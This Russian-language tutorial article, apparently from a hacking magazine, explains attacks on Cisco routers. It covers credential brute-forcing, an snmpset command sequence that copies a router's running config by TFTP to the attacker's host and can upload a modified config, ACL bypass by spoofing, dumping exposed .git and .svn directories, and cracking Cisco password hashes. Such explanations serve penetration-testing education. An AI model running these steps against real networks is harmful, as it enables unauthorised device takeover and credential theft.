Содержание статьи
Захватываем контроль над Cisco
В этот чудесный снежный день в этом прекрасном разделе Easy Hack мы займемся девайсами Cisco и разберем все основные векторы атак на девайсы Cisco, в особенности на маршрутизаторы под операционной системой IOS (как самые распространенные).
Конечно, начать следует с того, чтобы определить, а зачем их вообще ломать. Чаще всего потребность захватывать контроль над цисками появляется в том случае, когда необходимо обойти какие‑то ограничения на уровне сети. Например, если мы пытаемся прорваться из интернета внутрь корпоративной сети, то криво настроенная циска позволит нам провалиться внутрь. Роутеры же внутри сети часто выступают в роли файрволов и фильтруют трафик между сегментами, что может нам помешать при атаках. К тому же c цисок мы можем проворачивать атаки типа man-in-the-middle.
В основном атаки на циски далеко не rocket-science и сводятся чаще всего к перебору учеток. К сожалению, уязвимостей, да еще и с публичными эксплойтами для цисок практически нет. Причин тому много, хотя для нас это не столь и важно.
Но для того, чтобы «правильно» брутить, желательно узнать кое‑какие подробности о внутренних решениях в IOS (которые во многом будут аналогичным циско и на других платформах: ASA, PIX, CatOS).
Итак, в IOS есть разделение пользователей по уровню привилегий. Всего их 16: от 0 до 15, где 15 — максимальные привилегии, 1 — уровень обычного пользователя с очень урезанными возможностями, а остальные в основном не используются. По умолчанию, когда юзер логинится в систему, у него уровень 1, и если он хочет получить привилегированный доступ и возможность переконфигурировать устройство, то должен ввести специальный «enable»-пароль (чаще всего — cisco). Хотя можно настроить, чтобы сразу был 15, и тогда вводить дополнительный пароль не нужно.
При этом на циске изначально есть понятие общего юзера, для которого можно установить пароль. И есть «новая» модель разграничения доступа, называемая AAA (authentication, authorization, accounting), которая позволяет иметь множество различных пользователей с различными правами в ОС, а также поддерживает внешние хранилища, используя протоколы RADIUS или TACACS+. AAA на IOS необходимо «включать», чтобы она заработала.
Все это важно из‑за того, что влияет на то, где и как брутить учетки. Обычно доступны Telnet, SSH или веб (по HTTP или HTTPS). При этом SSH работает только с моделью AAA. А Telnet поддерживает и вход под общим юзером, то есть когда при аутентификации мы должны вводить только пароль. Еще более интересным может быть web (basic аутентификация), который может быть настроен на использование «enable»-пароля для аутентификации. То есть в последнем случае мы можем, используя «enable»-пароль, войти в циску, слить конфиг и из него получить уже обычные учетные записи.
Для конфигурации через веб используется URL такого вида: http://cisco_dev/level/15/exec (например, вывод используемого конфига /level/15/exec/-/show/running-config/CR). Хотя знать его нет необходимости, обычно там все понятно. Зато в 2000 году здесь была приличная бага, позволяющая обойти аутентификацию: если ввести любой другой уровень больше 15 (но меньше 99), то циска пускала тебя и предоставляла привилегированный доступ. Циски, конечно, юзаются долго, но 15 лет — это уж слишком, так что в реале встретить такой баг маловероятно.
Теперь несколько фактов о практике. Во‑первых, брут SSH не представляет собой ничего особого, так что подойдет любая тулза. Во‑вторых, веб‑морды у цисок могут отличаться от версии к версии, но доступ по указанному выше URL’у вполне универсален и порождает запрос по basic-аутентификации, то есть аналогично можно использовать любые тулзы. С телнетом дела обстоят несколько сложнее. Классические тулзы типы Hydra, Medusa, Ncrack могут откровенно false’ить, к тому же брутить только пароль (для стандартного юзера) умеет только гидра. Тут на помощь могут прийти тулзы cisco-torch или cisco-auditing-tool. Они, правда, очень олдскульные, но входят в Kali.
В случае успеха и захода на девайс смотрим конфигурацию:
show running-config (или sh run)
Сливаем конфигурацию с Cisco через SNMP
Хотелось бы отдельным пунктом выделить атаки на циски через SNMP. Хотя на большинстве устройств SNMP изначально отключен, но он достаточно часто включается для удаленного мониторинга и управления девайсами (к тому же на некоторых включен с общеизвестными комьюнити‑стрингами).
С точки зрения самой атаки все вполне стандартно: бери любимую тулзу да бруть, если SNMP-сервис доступен. Важно здесь другое — что в случае успеха и «подбора» комьюнити с правами на запись мы можем получить полный контроль над устройством. Ведь мы можем и скачать конфигурацию, и залить новую через SNMP. Вот последовательность команд:
snmpset -c private -v 2c cisco_ip 1.3.6.1.4.1.9.9.96.1.1.1.1.2.444 i 1
snmpset -c private -v 2c cisco_ip 1.3.6.1.4.1.9.9.96.1.1.1.1.3.444 i 4
snmpset -c private -v 2c cisco_ip 1.3.6.1.4.1.9.9.96.1.1.1.1.4.444 i 1
snmpset -c private -v 2c cisco_ip 1.3.6.1.4.1.9.9.96.1.1.1.1.5.444 a 192.168.1.2
snmpset -c private -v 2c cisco_ip 1.3.6.1.4.1.9.9.96.1.1.1.1.6.444 s config
snmpset -c private -v 2c cisco_ip 1.3.6.1.4.1.9.9.96.1.1.1.1.14.444 i 1
Несмотря на длину, она вполне проста:
- -c private — комьюнити‑строка на запись;
- -v 2c — версия протокола SNMP (чаще всего именно эта);
- cisco_ip — IP-адрес циски;
- 1.3.6.1.4.1.9.9.96.1.1.1.1.2.444 — специальный цисковский OID с 444 — случайным числом;
- i — тип устанавливаемых данных (i — integer, a — IP-адрес, s — строка).
Фактически данная последовательность указывает циске, что и куда скопировать. Первая команда определяет протокол TFTP (1 — TFTP, 2 — FTP, 3 — RCP, 4 — SCP, 5 — SFTP). Вторая — что копируем запущенную конфигурацию (1 — файл в сети, 2 — файл с флеша циски, 3 — startup-конфиг, 4 — running-конфиг, 5 — терминал, 6 — фабричный startup-конфиг). Третий — что копируем на удаленный ресурс, то есть файл в сети. Здесь выборка аналогична предыдущей команде. Далее указываем и IP-адрес нашего хоста, где открыт TFTP-порт. Пятой командой задаем, под каким конфигурация будет сохранена у нас. И последней мы запускаем копирование, делая созданную предыдущими командами запись активной (1 — active, 2 — notInService, 3 — notReady, 4 — createAndGo, 5 — createAndWait, 6 — destroy).
Таким образом, представленная последовательность будет аналогом команды в IOS:
copy running-config tftp://192.168.1.2/config
Но это мы получили конфигурацию. Для того чтобы ее залить обратно, требуется практически та же последовательность, только команды 2 и 3 поменяются местами. Таким образом, мы можем модифицировать конфигурацию и «подстроить» ее под наши нужды.
Одну из типовых трудностей, возникающих на нашем пути, представляют access-листы — они могут достаточно четко ограничивать перечень хостов, с которых разрешен доступ на SNMP-сервис циски. Но в этом случае нам могут помочь как минимум два метода. Во‑первых, важно помнить, что SNMP — это UDP-протокол, в котором отсутствует handshake, то есть мы можем подменить IP-адрес отправителя на разрешенный access-листом, таким образом обходя ограничение. Второе решение — атаковать циску с другой циски. Например, есть специальный management-сегмент, недоступный обычным юзерам, через который доступен SNMP на цисках. Тогда в случае, если мы взломаем одну циску, мы с нее можем отправить SNMP-команды на другие циски (так как у нее есть доступ в management-сегмент), чтобы те слили нам конфиг. Формат команд внутри цисок таков:
snmp set v2c 192.168.1.2 private oid 1.3.6.1.4.1.9.9.96.1.1.1.1.2.444 integer 1
Я думаю, что сопоставить остальные команды ты сможешь без труда.
Если же вернуться к первой части, то для того, чтобы не копировать «вручную», можно воспользоваться тулзами. Вариант первый — cisc0wn, второй — snmpblow (входит в Kali Linux). Snmpblow умеет подделывать IP-адреса, зато первая более «автоматическая» и может сразу отпарсить конфиг на интересные штуки.
Сливаем исходники с систем контроля версий
Системы контроля версий (а‑ля Git или SVN) используются сейчас повсеместно в хоть сколько‑то организованных проектах. Очень часто с помощью их накатываются/обновляются и веб‑проекты. Это, в свою очередь, может породить ряд проблем, если веб‑сервер некорректно (во многом по умолчанию) настроен.
Вся основная проблема появляется тогда, когда специальные папки и файлы (.git, .svn, CVS…) оказываются в директориях веб‑сервера, то есть доступны через веб‑сервер. Ситуация реально вполне типовая, а поэтому эксплуатация ее нам интересна.
Но для начала важно помнить, что системы контроля версий хранят в себе очень много данных — практически все изменения, которые были совершены. Это дает нам возможность (не всегда, правда) получить и исходники существующего веб‑приложения, и то, что было, когда оно только создавалось (а значит, и тестовые, временные учетки, которые когда‑то были захардкожены в приложении, у нас тоже есть возможность получить).
Хотелось бы отметить, что не раз уже «всплывали» дисклозы исходников в крупных проектах. Так что этой типичной мисконфигурацией стоит воспользоваться.
Можно выделить две основные типовые проблемы: когда директория с метаинформацией доступна через веб и когда для нее еще включен листинг. Второй вариант, конечно, проще и понятнее (можно просто все скачать), но и с первым проблемы решаются, если известен алгоритм хранения данных системы контроля версий (да и тулзы соответствующие есть). Давай разберем основные из систем, чтобы было понятно, как обстоят дела внутри.
Первый пример — SVN до версии 1.7. В ней директории .svn находятся в каждой директории проекта. Один из самых интересных файлов — entries, в котором содержатся имена файлов и директорий проекта. Имея их, мы можем к ним напрямую обращаться. Кроме того, копии всех файлов хранятся в /.svn/text-base/. Например, /.svn/text-base/config.txt.svn-base, то есть мы еще и отсюда их можем получить. При этом важно помнить, что в зависимости от конфигурации расширение svn-base может не учитываться, что может не дать возможность скачать исполняемые файлы типа PHP.
И еще раз подчеркну, что .svn в каждой директории, а потому и entries, и данные, возможно, потребуется с каждой сливать.
Второй вариант — SVN начиная с версии 1.7 и выше. Здесь многое изменилось: директория .svn присутствует только в корне проекта, а не в каждой директории. Файла entries нет, зато появился wc.db, который представляет собой базу данных SQLite 3, в которой и хранится основная метаинформация о проекте. Кроме того, теперь файлы с исходничками лежат в одной папке /.svn/pristine/. Но, чтобы не было проблем с одинаковыми именами в разных папках (а может, и еще какие причины были), полный путь до файла представляет собой значение SHA-1 от имени файла и директорию с первыми двумя буквами хеша. Например, /.svn/pristine/bb/bb6499b8e938f92a3695fff1afe57edea4b9efb7.svn-base.
Один из больших плюсов для нас заключается в том, что пропадает расширение из имени файла, таким образом, мы обходим проблему исполнения таких файлов, как PHP.
Сами хешики и соотношения с путями до файлов можно взять как раз из wc.db следующей командой:
sqlite3 wc.db 'select local_relpath, checksum from NODES'
И последний вариант — Git. Вся информация хранится только в корне, в директории /.git/. Но структура хранения данных там значительно более специфичная. Во многом потому, что в Git файлы, директории, коммиты представляют собой объекты, которые и хранятся уже в файловой системе в директории /.git/objects со значениями хеша SHA-1 в качестве поддиректории и имени. Так что я позволю себе опустить это описание. В итоге мы имеем то, что чисто вручную распарсить — дело затруднительное, разве что файл /.git/index может дать нам перечень имен файлов. С другой стороны, есть различные тулзы, которые нам могут помочь. Например, dvcs-ripper или модуль в OWASP ZAP.
Самое приятное, что в результате мы можем получить у себя полностью рабочий Git-репозиторий и просмотреть актуальные исходники, а также «историю» коммитов, то есть произведенных изменений в коде.
Получаем plain-text пароли от девайсов Cisco
Итак, у нас есть конфиги от цисок. Что дальше? Конечно, на данном этапе можно было бы и закончить, если мы взяли под контроль интересующую нас циску и прокинули доступ, куда необходимо. Но если нам не повезло и на необходимую циску нет доступа, а есть только на «левую», то мы можем посмотреть конфигурационный файл, вынуть паролики и понадеяться на то, что админы использовали одни и те же на многих девайсах. А потому возникает задача разобраться с форматами паролей в девайсах Cisco.
Прежде всего, понять, какой конкретно тип используется, можно либо по виду, либо по идентификатору. Например:
username chris privilege 15 password 7 02000D490E110E2D40000A01
7 перед самим закодированым/захешированным паролем и является его типом.
Изначально (для IOS) пароли хранятся в открытом виде. Это так называемый type 0. Ясное дело, что здесь нет необходимости с ними что‑то делать.
Тип 7 также не представляет трудностей для нас, так как это просто набор подстановок. Тулз, которые могут его «обратить», очень много. Cain&Abel, например. Несмотря на его «слабость», от этого вида кодирования никто не собирается отказываться. Суть здесь в том, что есть множество видов паролей, которые необходимы циске для работы (то есть нужна возможность получить пароль в изначальном виде). Например, для аутентификации по OSPF или RADIUS’e. Хотя использование этого типа для хранения паролей юзеров или enable-пароля, естественно, небезопасно.
Дальше есть тип 5. Он представляет собой классический UNIX-вариант соленого MD5. Например:
enable secret 5 $1$mERr$hx5rVt7rPNoS4wqbXKX7m0
Здесь нам может помочь только брут либо атака по словарику, oclHashcat в помощь с типом 500.
Следующий тип, 4, появился лишь в относительно последних версиях IOS. Это 15-я ветка версий (раньше были 11, 12, а 13 и 14 пропущены). Фактически им хотели заменить 5-ю версию и вместо MD5 использовать PBKDF2 (соленую, многоитерационную SHA-256). Да вот случилась «проблема» с имплементацией (которую, надо сказать, обнаружили парни из Hashcat’а в 2013 году), и получился обычный несоленый SHA-256. Даже хуже типа 5. В итоге циска отказалась от использования type 4 и говорит о том, что готовит что‑то новенькое.
Пример:
username demo secret 4 ohKCwRDiX5YiRkTbLspqXvQkxiL91lDUlt.JzPd33RY
В oclHashcat для брута используется тип 5700.
Теперь немного про ASA и PIX, то есть про файрволы. В них используется по умолчанию именно хеширование (на основе MD5 и без соли). А слово encrypted должно подтолкнуть тебя в правильном выборе типа для oclHashCat — 2400. Пример:
enable password 2KFQnbNIdI.2KYOU encrypted
Кстати, еще есть «новый» вид в oclHashCat — 2410, в котором вроде как используется часть имени пользователя как соль при хешировании. Но подробности этого мне неизвестны.
Получаем информацию о роутере Cisco
В заключение темы немного про еще одну приятную фичу Cisco-роутеров — протокол Cisco Discovery Protocol (CDP). Это проприетарный протокол циски, используемый для обнаружения друг друга девайсами циско. Суперфункциональности не несет (хотя это зависит от ситуации), в основном массу интересной информации об отправляющей пакет циске (обычно один пакет каждые 60 с). Он использует второй уровень OSI. Включен по умолчанию на многих роутерах и рассылается на все интерфейсы (физические порты) на multicast-адрес — 01-00-0c-cc-cc-cc. С учетом того что большинство свичей сконфигурены на пересылку мултикаст‑запросов на все порты (то есть «превращают» их в широковещательные), мы без проблем в пользовательском сегменте имеем возможность достаточно точно узнать о находящихся в нашем сегменте цисках.
При этом нам не требуется ничего делать — лишь включить wireshark и подождать с минуту. А полученная информация может быть очень даже полезна. Это и версия IOS, IP-адрес на интерфейсах, номер native VLAN’а.
Если же есть доступ на циску, о соседних цисочках нам поможет узнать команда show
.
Кроме этого, мы можем поспуфить CDP-пакетики и получить кое‑какие бонусы, но об этом в следующий раз.
И кстати, данный протокол нынче плавно заменяется на «общий» IEEE 802.1AB Link Layer Discovery Protocol (LLDP).
Спасибо за внимание и успешных познаний нового!